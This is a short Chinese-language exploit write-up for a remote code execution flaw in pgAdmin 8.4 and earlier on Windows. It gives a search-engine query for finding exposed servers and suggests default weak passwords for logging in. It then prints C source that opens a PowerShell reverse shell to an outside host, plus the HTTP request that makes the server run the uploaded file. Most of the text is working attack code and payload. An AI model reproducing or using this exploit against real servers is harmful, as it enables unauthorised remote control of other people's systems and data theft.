P14-1PgAdmin-数据库-RCE
漏洞描述:
PgAdmin数据库在登陆后台后,可以上传文件进行RCE操作,攻击者可以利用此漏洞控制服务器。
利用条件
pgAdmin <= 8.4
pgAdmin4 必须在 Windows 服务器上运行
需登录后利用
需关闭 Windows Defender
影响版本:
pgAdmin <= 8.4
网站图片:
360quake语法:
app: “pgAdmin "
漏洞复现:
需要可以登陆web页面,一般PgSQL弱口令为123456,postgres
依次点击
上传文件
创建.c文件,并编译为exe,文件的名称必须是pg_(或psql)才能执行,必须是已知的 postgresql 工具。
反弹shell
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('1.1.1.1', 9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
上传成功之后,
替换Cookie、X-pgA-CSRFToken、filePath中对应的值,filePath为文件在服务器中的绝对路径,发送请求
payload:
POST /misc/validate_binary_path HTTP/1.1
Host: 1.1.1.1
Content-Type: application/json
Cookie: Cookie
X-pgA-CSRFToken: Token
{"utility_path": "filePath"}
参考链接
https://mp.weixin.qq.com/s/vwwQR8PlZxbls19Qr2zXkg